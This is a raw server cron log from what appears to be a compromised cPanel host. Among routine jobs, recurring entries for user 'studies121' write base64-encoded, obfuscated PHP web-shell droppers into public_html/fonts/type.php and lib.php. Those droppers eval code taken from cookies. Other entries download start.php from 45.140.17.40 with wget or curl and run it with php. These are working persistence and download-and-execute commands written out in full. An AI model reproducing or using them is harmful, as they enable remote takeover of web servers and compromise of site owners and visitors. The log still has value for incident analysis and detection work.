Sep 10 08:59:01 ip-184-168-122-23 CROND[6841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:59:01 ip-184-168-122-23 CROND[6842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:00:01 ip-184-168-122-23 CROND[6945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:00:01 ip-184-168-122-23 CROND[6948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:00:01 ip-184-168-122-23 CROND[6950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:00:01 ip-184-168-122-23 CROND[6952]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep 10 09:00:01 ip-184-168-122-23 CROND[6953]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:00:01 ip-184-168-122-23 CROND[6955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:00:01 ip-184-168-122-23 CROND[6957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:00:01 ip-184-168-122-23 CROND[6956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:00:01 ip-184-168-122-23 CROND[6958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:01:01 ip-184-168-122-23 CROND[7061]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 09:01:01 ip-184-168-122-23 CROND[7062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7061]: starting 0anacron
Sep 10 09:01:01 ip-184-168-122-23 CROND[7066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:01:01 ip-184-168-122-23 CROND[7067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:01:01 ip-184-168-122-23 CROND[7071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:01:01 ip-184-168-122-23 CROND[7072]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7081]: finished 0anacron
Sep 10 09:02:01 ip-184-168-122-23 CROND[7278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:02:01 ip-184-168-122-23 CROND[7281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:02:01 ip-184-168-122-23 CROND[7282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:02:01 ip-184-168-122-23 CROND[7283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:02:01 ip-184-168-122-23 CROND[7280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:03:01 ip-184-168-122-23 CROND[7422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:03:01 ip-184-168-122-23 CROND[7425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:03:01 ip-184-168-122-23 CROND[7424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:03:01 ip-184-168-122-23 CROND[7426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:04:01 ip-184-168-122-23 CROND[7530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:04:01 ip-184-168-122-23 CROND[7533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:04:01 ip-184-168-122-23 CROND[7532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:04:01 ip-184-168-122-23 CROND[7534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:04:01 ip-184-168-122-23 CROND[7535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:05:01 ip-184-168-122-23 CROND[7659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:05:01 ip-184-168-122-23 CROND[7660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:05:01 ip-184-168-122-23 CROND[7663]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:05:01 ip-184-168-122-23 CROND[7666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:05:01 ip-184-168-122-23 CROND[7664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:05:01 ip-184-168-122-23 CROND[7668]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 09:05:01 ip-184-168-122-23 CROND[7665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:06:01 ip-184-168-122-23 CROND[7775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:06:01 ip-184-168-122-23 CROND[7777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:06:01 ip-184-168-122-23 CROND[7776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:06:01 ip-184-168-122-23 CROND[7781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:06:01 ip-184-168-122-23 CROND[7782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:07:01 ip-184-168-122-23 CROND[7987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:07:01 ip-184-168-122-23 CROND[7988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:07:01 ip-184-168-122-23 CROND[7989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:07:01 ip-184-168-122-23 CROND[7990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:08:01 ip-184-168-122-23 CROND[8105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:08:01 ip-184-168-122-23 CROND[8107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:08:01 ip-184-168-122-23 CROND[8108]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:08:01 ip-184-168-122-23 CROND[8110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:08:01 ip-184-168-122-23 CROND[8109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:09:01 ip-184-168-122-23 CROND[8246]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 09:09:01 ip-184-168-122-23 CROND[8250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:09:01 ip-184-168-122-23 CROND[8251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:09:01 ip-184-168-122-23 CROND[8249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:09:01 ip-184-168-122-23 CROND[8248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:10:02 ip-184-168-122-23 CROND[8369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:10:02 ip-184-168-122-23 CROND[8371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:10:02 ip-184-168-122-23 CROND[8373]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:10:02 ip-184-168-122-23 CROND[8375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:10:02 ip-184-168-122-23 CROND[8376]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:10:02 ip-184-168-122-23 CROND[8374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:10:02 ip-184-168-122-23 CROND[8379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:10:02 ip-184-168-122-23 CROND[8380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:11:01 ip-184-168-122-23 CROND[8508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:11:01 ip-184-168-122-23 CROND[8510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
